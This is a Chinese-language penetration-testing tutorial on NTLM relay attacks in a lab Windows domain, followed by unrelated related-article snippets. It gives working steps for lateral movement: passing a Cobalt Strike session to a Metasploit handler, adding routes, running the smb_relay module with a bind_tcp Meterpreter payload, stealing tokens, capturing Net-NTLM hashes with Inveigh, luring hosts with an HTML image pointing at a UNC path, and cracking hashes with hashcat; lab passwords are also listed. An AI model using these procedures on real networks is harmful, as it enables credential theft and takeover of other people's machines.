内网安全:NTLM-Relay

news2025/1/11 9:11:35

目录

NTLM认证过程以及攻击面

NTLM Relay攻击

NTLM攻击总结

实验环境说明

域横向移动:NTLM中继攻击

攻击条件

实战一:NTLM中继攻击-CS转发上线MSF

原理示意图

一. CS代理转发

二. MSF架设路由

三. 适用smb_relay模块进行中继攻击

域横向移动:Net NTLM Hash劫持破解

一. 监听拦截

二. 触发拦截

三. 破解密钥

补充:这种方式不仅可以适用smb协议,还可以走其他的


NTLM认证过程以及攻击面

非域中

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

域中,在第4步有所不同,如果是在域环境中,那么认证过程会经过域控制器:

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
  5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。

  • 针对NTLM Hash的攻击:PTH,信息收集
  • 针对Net NTLM Hash的攻击:暴力破解明文密码,利用Net-NTLM Hash中继攻击

Pass The Hash:哈希传递攻击,通过抓取主机上的Hash,传递他们进行攻击,不需要明文密码。

利用NTLM进行信息收集:通过CS,命令就可以达到目的,没有意义。

Net-NTLM Hash破解,暴力破解得到明文密码

NTLM Relay:利用Net-NTLM Hash进行中继攻击

PTH的攻击条件需要NTLM-Hash,而后两种则是通过Net-NTLM Hash进行攻击的

如果计算机的修改过注册表,打过补丁,都有可能造成明文密码,Hash提取不到。我们可以尝试获得Net NTLM Hash进行攻击利用。

NTLM Relay攻击

这种攻击方式可以应用在获取不到明文或HASH时采用的手法,但也要注意手法的必备条件。

Relay攻击要涉及到NTLM认证和Net-NTLM Hash

NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。

Net NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。客户端在请求服务时需要的NTLM Hash是服务端密码,Net NTLM Hash的生成需要服务端密码的NTLM Hash和challenge,用户名得到的。

NTLM攻击总结

有NTLM Hash,直接PTH;没有NTLM Hash,尝试抓取Net NTLM Hash,暴力破解明文密码,中继攻击。

实验环境说明

DC:192.168.3.21      

        本地管理员:administrator Admin12345

        域账户:god/administrator Admin12345

SQLserver:192.168.3.32

        本地管理员:administrator admin!@#45

        域账户:god/dbadmin admin!@#45

Mary-PC:192.168.3.25

        本地管理员:administrator admin!@#45

        域账户:god/mary admin!@#45

webserver:192.168.3.31    192.168.46.128(出网)

        本地管理员:administrator admin!@#45

        域账户:god/webadmin admin!@#45

Kali:架设MSF 192.168.46.166

46网段是出网的,3网段是内网。

域横向移动:NTLM中继攻击

一句换概括:拿已控制主机的本地管理员的NTLM Hash进行赌狗行为碰撞别的主机进行登录。

一般不会拿域账户的NTLM Hash,因为没有意义,权限太低。

攻击条件

在内网一台计算机上执行下面这条命令,会发生什么事情?此时该主机是管理员登录

dir \\192.168.3.21\c$
dir \\192.168.3.32\c$

这时通过SMB协议访问对方主机的C盘,这是一个访问对方主机服务的过程,是需要NTLM验证的,这里这台主机实际上并没有192.168.3.21的NTLM Hash或者密码的,在内存中会加载已有的NTLM Hash,也就是自己的(该命令会默认拿自己的),用这一套NTLM Hash去做NTLM认证。

一般来说是会失败的,但是这里却成功了。访问192.168.3.32失败,下面的却成功了。

也就是说该计算机的NTLM Hash和192.168.3.32主机的NTLM Hash是一样的。

这个Net NTLM Hash中继攻击本质就是利用自己计算机的NTLM Hash(或者说账号密码)进行碰撞,因为这台机器虽然我们拿到了权限,但是NTLM Hash窃取不到,尝试通过这种赌博行为攻击其它主机。

在实验环境中,用webserver这台主机的管理员账号密码是可以配置所有主机并成功的。

实战一:NTLM中继攻击-CS转发上线MSF

首先是获得了一台主机webserver的权限

原理示意图

CS做权限移交,利用MSF进行渗透,CS上每次功能

MSF做一个转发工作,配置转发对象

攻击原理:用已经拿下权限的主机利用administrator权限去比对任意域内主机,比对成功就可以访问登录对方主机,就可以直接上线MSF拿到对象的administrator权限

一. CS代理转发

转发到内网的一台Kali上,上面架设有MSF,实际环境也可,转发外网。

配置监听器,CS流量转发MSF 192.168.46.166(出网)2222端口

 转发这个监听器

spawn l-msf

二. MSF架设路由

MSF监听,上线

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 2222
run

添加路由

run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
backgroup //返回

MSF可以攻击到内网3网段

三. 适用smb_relay模块进行中继攻击

设置攻击目标为192.168.3.32

重发模块:

use exploit/windows/smb/smb_relay
set smbhost 192.168.3.32 //转发攻击目标
set lhost 192.168.46.166   //设置本地IP
set autorunscript post/windows/manage/migrate

建立正向连接

set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.32 //设置连接目标
run

这里是一个system权限,我们需要的administrator权限,降权

CS降权

查看进程

记录下pid,通过system进行令牌窃取,权限降为administrator

MSF降权

get uid
ps

在CS上执行命令

shell dir \\192.168.46.166\c$

 这条命令会被MSF中继模块再次进行转发,相当于是192.168.3.31对192.168.3.32发起请求

dir \\192.168.3.32\c$

也可以在MSF上执行,Meterpreter上输出shell,弹出192.168.3.31的cmd

攻击成功,192.168.3.32上线MSF

192.168.3.32上线MSF,因为采用的是正向连接,也就是192.168.3.31正向连接192.168.3.32

上线!!!

域横向移动:Net NTLM Hash劫持破解

条件:被控主机当前管理员权限

因为下面是利用工具,所以需要足够的运行权限

项目地址:https://github.com/Kevin-Robertson/Inveigh

这里是诱导域内主机访问我们这台已经拿下权限的主机192.168.3.31,对方会把自己的Hash发给我们,直接拦截下来,Net NTLM Hash被捕捉,只要是访问192.168.3.31,就会被拿下Hash,这Hash可能是域控的,本地管理员的,域用户的

一. 监听拦截

上传程序到对方主机,或者挂代理(不推荐)程序本身就不大,避免数据丢失

工具放在192.168.3.31被控主机上执行

Inveigh.exe

获取到的是NET NTLM HASH V1或V2

二. 触发拦截

令别的主机dir webserver,这里是拿域控的主机进行演示

dir \\192.168.3.31\c$

拦截到Hash 

会保存在当前目录

这个一般是要配合钓鱼,和前面的Exchange服务利用进行结合

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.32\2">
</body>
</html>

三. 破解密钥

破解域控的Hash,得到域控的明文密码

hashcat -m 5600 hash pass.txt --show

得到域控用户的Hash明文 Admin12345

补充:这种方式不仅可以适用smb协议,还可以走其他的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1417853.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Scratch:塑造孩子思维能力的魔法工具

在当今的数字化时代&#xff0c;编程已经成为一项重要的技能&#xff0c;而Scratch正是引领孩子们迈入编程世界的一扇大门。它不仅教会孩子们如何编写代码&#xff0c;更重要的是培养了孩子们的思维能力&#xff0c;为他们的成长奠定了坚实的基础。 Scratch是一款由麻省理工学…

掌握三大关键要素,玩转亚马逊测评

对于那些刚刚涉足亚马逊测评的新手小白&#xff0c;经常听到的一个警告是亚马逊平台的风控正在日益严格。尤其是对评论的管理&#xff0c;一旦稍有不慎&#xff0c;评论就可能被删除。那么&#xff0c;如何避免这种情况的发生呢&#xff1f;在进行亚马逊测评时&#xff0c;新手…

牛客周赛30

思路&#xff1a;先把x, y除以最大公约数变成最小值&#xff0c;然后同时乘以倍数cnt&#xff0c;只记录两个数都在[l,r]间的倍数。 代码&#xff1a; int gcd(int a,int b){return b ? gcd(b, a % b) : a; }void solve(){int x, y, l, r;cin >> x >> y >>…

Unity-WebGL

问题&#xff1a;提示gzip压缩报错解决&#xff1a;关闭打包的地方压缩&#xff0c;如下图问题&#xff1a;窗口未全屏解决&#xff1a;使用百分比画布替换固定尺寸画布 参考&#xff1a;新版Unity打包Webgl端进行屏幕自适应_unity webgl分辨率自适应-CSDN博客问题&#xff1a;…

《微信小程序开发从入门到实战》学习九十六

7.2 基础内容组件 7.2.4 progress组件 progress组件的示例代码如下&#xff1a; <progress percent"20" show-info /> 7.3 表单组件 表单组件是用于收集信息的组件。第三章介绍了许多表单组件&#xff0c;包括form、input、textarea、picker、switch、butt…

算法学习记录:动态规划

前言&#xff1a; 算法学习记录不是算法介绍&#xff0c;本文记录的是从零开始的学习过程&#xff08;见到的例题&#xff0c;代码的理解……&#xff09;&#xff0c;所有内容按学习顺序更新&#xff0c;而且不保证正确&#xff0c;如有错误&#xff0c;请帮助指出。 学习工具…

Redis学习——高级篇③

Redis学习——高级篇③ Redis7高级之缓存双写一致性之更新策略探讨&#xff08;三&#xff09; 1.缓存双写一致性2.数据库和缓存一致性的几种更新策略2.1 可停机的情况2.2 不可停机的情况,四种更新策略&#xff08;推荐最后一种&#xff0c;看场景&#xff09;1.❌先…

【Vue实用功能】Vue实现文档在线预览功能,在线预览PDF、Word等office文件

1、Office Web(微软的开发接口) 优点 没有 Office也可以直接查看Office 文件适用于移动端、PC无需下载文件就可以在浏览器中查看 <iframe src"文档地址" frameborder"0" /> const docUrl 外网可预览的地址 const url encodeURIComponent(docUrl…

基于SpringBoot+Redis的前后端分离外卖项目-苍穹外卖微信小程序端(十五)

用户端历史订单模块 1. 查询历史订单1.1 需求分析和设计1.2 代码实现1.2.1 user/OrderController1.2.2 OrderService1.2.3 OrderServiceImpl1.2.4 OrderMapper1.2.5 OrderMapper.xml1.2.6 OrderDetailMapper 2. 查询订单详情2.1 需求分析和设计2.2 代码实现2.2.1 user/OrderCon…

K8s 安装部署-Master和Minion(Node)

K8s 安装部署-Master和Minion(Node) 操作系统版本&#xff1a;CentOS 7.4 Master &#xff1a;172.20.26.167 Minion-1&#xff1a;172.20.26.198 Minion-2&#xff1a;172.20.26.210&#xff08;后增加节点&#xff09; ETCD&#xff1a;172.20.27.218 先安装部署ETCD y…

Linux实验记录:添加硬盘设备

前言&#xff1a; 本文是一篇关于Linux系统初学者的实验记录。 参考书籍&#xff1a;《Linux就该这么学》 实验环境&#xff1a; VmwareWorkStation 17——虚拟机软件 RedHatEnterpriseLinux[RHEL]8——红帽操作系统 目录 前言&#xff1a; 备注&#xff1a; 添加硬盘…

Java: Low Poly Islands

一大批岛屿资产供您在下一Unity项目中使用!包括热带岛屿、火山岛、热带山脉、植被、乡村房屋、木板路、船只、粒子、后期FX等。 适用于原型设计、移动、LOD或风格化游戏。 模块化部分很容易在Unity网格上组装在一起。 141种独特的预制件,包括: - 38个具有LOD的岛屿模型 - 30…

云上高可用系统-韧性设计模式

一、走近韧性设计模式 &#xff08;一&#xff09;基本概念 韧性设计模式是一系列在软件工程中用于提高系统韧性的设计原则、策略、实践和模式。韧性&#xff08;Resilience&#xff09;在这里指的是系统对于各种故障、异常和压力的抵抗能力&#xff0c;以及在遭受这些挑战后…

vue实现获取系统当前年月日时分秒星期

(壹)博主介绍 &#x1f320;个人博客&#xff1a; 尔滨三皮⌛程序寄语&#xff1a;木秀于林&#xff0c;风必摧之&#xff1b;行高于人&#xff0c;众必非之。 (贰)文章内容 <!-- 获取系统当前时间 --> <template><div class"currentTimeBox"><…

增存量市场大爆发!国产通信中间件「反攻」

梳理2023年智能驾驶的发展脉络可见&#xff0c;消费者对智能驾驶的认可度和接受度越来越高&#xff0c;带动高速NOA迈向了规模化普及新阶段&#xff0c;城市NOA初露锋芒。 从更长远的行业变革周期来看&#xff0c;智能驾驶的技术迭代还在继续&#xff0c;叠加电子电气架构的深…

【hcie-cloud】【23】容器编排【k8s】【Kubernetes常用工作负载、Kubernetes调度器简介、Helm简介、缩略词】【下】

文章目录 单机容器面临的问题、Kubernetes介绍与安装、Kubernetes对象的基本操作、Kubernetes YAML文件编写基础Kubernetes常用工作负载Kubernetes常用工作负载简介创建一个无状态nginx集群无状态工作负载Deployment说明无状态工作负载Deployment常见操作创建一个有状态的MySQL…

Notepad 将多行转换成字符串,合并成一行

notepad 将多行转换成字符串&#xff0c;合并成一行 (1) 快捷键 ctrl H &#xff0c;选择 【替换】&#xff0c; (2) 【查找目标】&#xff0c;输入 \r\n &#xff0c; 这个正则表达式的含义是 换行回到行首&#xff0c;相当于 windows的 enter 键&#xff1a; \r&#xff…

Redis 学习笔记 2:Java 客户端

Redis 学习笔记 2&#xff1a;Java 客户端 常见的 Redis Java 客户端有三种&#xff1a; Jedis&#xff0c;优点是API 风格与 Redis 命令命名保持一致&#xff0c;容易上手&#xff0c;缺点是连接实例是线程不安全的&#xff0c;多线程场景需要用线程池来管理连接。Redisson&…

Hinton、LeCun、Bengio、清华马维英等人当选2023 ACM Fellow!

大家好我是二狗。 美国当地时间1月24日&#xff0c;美国计算机学会&#xff08;ACM&#xff09;正式宣布了2023年 ACM Fellow的名单&#xff0c;今年一共有68名科学家入选。 其中包括万维网的发明人、2016年度图灵奖得主蒂姆伯纳斯李&#xff08;Tim Berners-Lee &#xff09…

Go语言基础之单元测试

1.go test工具 Go语言中的测试依赖go test命令。编写测试代码和编写普通的Go代码过程是类似的&#xff0c;并不需要学习新的语法、规则或工具。 go test命令是一个按照一定约定和组织的测试代码的驱动程序。在包目录内&#xff0c;所有以_test.go为后缀名的源代码文件都是go …